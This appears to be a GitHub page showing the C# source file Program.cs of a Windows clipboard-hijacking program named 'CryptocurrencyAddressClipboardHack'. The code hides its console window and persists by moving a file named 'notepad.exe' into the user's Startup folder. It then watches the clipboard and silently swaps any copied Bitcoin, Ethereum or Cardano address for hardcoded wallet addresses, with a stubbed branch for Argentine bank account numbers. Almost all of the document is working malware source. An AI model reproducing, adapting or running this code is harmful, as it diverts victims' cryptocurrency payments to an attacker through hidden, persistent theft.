-
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathProgram.cs
More file actions
126 lines (104 loc) · 4.15 KB
/
Program.cs
File metadata and controls
126 lines (104 loc) · 4.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
using System;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
namespace CryptocurrencyAddressClipboardHack
{
internal class Program
{
static string previousClipboardText = string.Empty;
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
const int SW_HIDE = 0;
[STAThread]
static void Main()
{
IntPtr consoleHandle = GetConsoleWindow();//run app in background
ShowWindow(consoleHandle, SW_HIDE);//run app in background
copyFileToRunBackground();
Thread clipboardThread = new Thread(MonitorClipboard);
clipboardThread.SetApartmentState(ApartmentState.STA);
clipboardThread.Start();
Console.ReadLine();
clipboardThread.Abort();
}
static void MonitorClipboard()
{
while (true)
{
string clipboardText = GetClipboardText();
//Check if clipboard content has changed
if (!string.IsNullOrEmpty(clipboardText) && clipboardText != previousClipboardText)
{
Console.WriteLine(clipboardText);
previousClipboardText = clipboardText;
ClipboardSetText(clipboardText);
}
Thread.Sleep(1000);//Wait 1 second before checking again
}
}
static string GetClipboardText()
{
string clipboardText = string.Empty;
try
{
if (Clipboard.ContainsText())
{
clipboardText = Clipboard.GetText();
}
}
catch (Exception ex)
{
Console.WriteLine("Error getting clipboard content: " + ex.Message);
}
return clipboardText;
}
static void ClipboardSetText(string currenText)
{
string patternBTC = @"^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$";
string patternETH = @"^0x[0-9a-fA-F]{40}$";
string patternADA = @"^addr1[0-9a-zA-Z]{58}$";
string patternArgCBU = @"^\d{22}$";
if (ValidateCoinAddress(currenText, patternBTC))
{
string personalBTCAddress = "bc1qwasv0xvpn7p22txwm502tc7k3l4nkh5ms8nzl3";
Clipboard.SetText(personalBTCAddress);
}
else if (ValidateCoinAddress(currenText, patternETH))
{
string personalETHAddress = "0xdE0DC725057EA8a778D19F8fb18b5a210EF617F9";
Clipboard.SetText(personalETHAddress);
}
else if (ValidateCoinAddress(currenText, patternADA))
{
string personalADAAddress = "addr1q86glfwk9e8jundn2n7dqeej3dn5lwspepw7g3ftf42yds652rrydnhe2u069ael9ql53lwly8khwzzza9pw6pe8shxsu8mrcp";
Clipboard.SetText(personalADAAddress);
}
else if (ValidateCoinAddress(currenText, patternArgCBU))
{
//string personalADAAddress = "1234567890123456789012";
//Clipboard.SetText(personalADAAddress);
}
}
static bool ValidateCoinAddress(string address, string pattern)
{
Regex regex = new Regex(pattern);
return regex.IsMatch(address);
}
static void copyFileToRunBackground()//start up app
{
string filename = "notepad.exe";
string pathDestiny = Environment.ExpandEnvironmentVariables(@"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup");
string originPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, filename);
string fullPathDestiny = Path.Combine(pathDestiny, filename);
if (!File.Exists(fullPathDestiny))
{
File.Move(originPath, fullPathDestiny);//depending on the scenario it is convenient to use "Copy"
}
}
}
}